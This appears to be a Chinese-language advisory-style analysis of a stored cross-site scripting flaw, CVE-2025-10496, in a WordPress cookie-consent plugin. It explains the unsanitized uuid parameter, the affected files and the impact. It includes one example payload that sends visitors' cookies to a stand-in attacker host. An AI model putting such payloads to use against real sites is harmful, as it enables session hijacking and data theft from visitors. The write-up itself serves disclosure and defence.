CVE-2025-10496CVE-2025-10496是WordPress平台上的Cookie Notice & Consent插件中存在的一个高危存储型跨站脚本(Stored XSS)漏洞。该插件是一款广泛使用的Cookie通知与用户同意管理工具,帮助网站遵守GDPR等隐私法规要求。该漏洞由Wordfence安全团队的安全研究员发现并报告,CVSS 3.1评分为7.2分,属于高危级别。
漏洞存在于该插件1.6.5及之前的所有版本中,根本原因在于插件对uuid参数的处理缺乏充分的输入净化(Input Sanitization)和输出转义(Output Escaping)机制。攻击者可以通过构造恶意的JavaScript脚本并将其注入到uuid参数中,由于存储型XSS的特性,这些恶意脚本会被持久化保存到目标网站的服务器端。当普通用户访问包含恶意脚本的页面时,浏览器会自动执行这些恶意代码,从而导致用户会话被劫持、敏感信息被窃取、恶意重定向或其他恶意行为的发生。
该漏洞的特别危险之处在于其利用门槛极低——攻击者无需任何身份认证即可发起攻击(PR:N),无需用户交互(UI:N),且可以通过网络远程利用(AV:N)。这意味着任何能够访问目标站点的未认证攻击者都有可能利用此漏洞。由于Cookie Notice & Consent插件处理的是与用户隐私相关的功能,注入的恶意脚本可能窃取用户的Cookie同意偏好、会话令牌等敏感信息,对用户隐私和数据安全构成严重威胁。
该漏洞的核心问题位于Cookie Notice & Consent插件的多个核心文件中,包括class-cnc-admin.php和class-cnc-logger.php。具体而言,uuid参数在传入和存储过程中未经过适当的净化处理,在输出到前端页面时也未进行充分的HTML实体编码或JavaScript转义。
从技术实现角度来看,存储型XSS的工作原理如下:攻击者首先构造包含恶意JavaScript代码的payload,例如`<script>document.location='https://attacker.com/steal?cookie='+document.cookie</script>`,并将该payload作为uuid参数的值提交到目标网站。由于插件后端代码在处理uuid参数时仅进行了简单的数据验证或完全未进行验证,恶意脚本被直接存储到数据库中。
当其他用户访问包含该uuid数据的页面时,插件从数据库中读取存储的uuid值并将其渲染到HTML页面中。由于输出阶段也未进行适当的转义处理(如htmlspecialchars()或esc_attr()等函数),浏览器会将存储的恶意脚本解释为可执行代码并自动执行。攻击者可以利用此漏洞执行以下恶意操作:1)窃取用户Cookie和会话令牌进行会话劫持;2)劫持用户浏览器进行钓鱼攻击;3)篡改页面内容进行社会工程学攻击;4)利用用户权限执行未授权操作;5)植入恶意软件或挖矿脚本。
由于漏洞利用无需认证且无需用户交互,攻击者可以通过自动化工具批量扫描存在该插件的WordPress站点并进行大规模攻击。受影响的关键代码路径涉及插件的日志记录功能和管理界面中的UUID处理逻辑。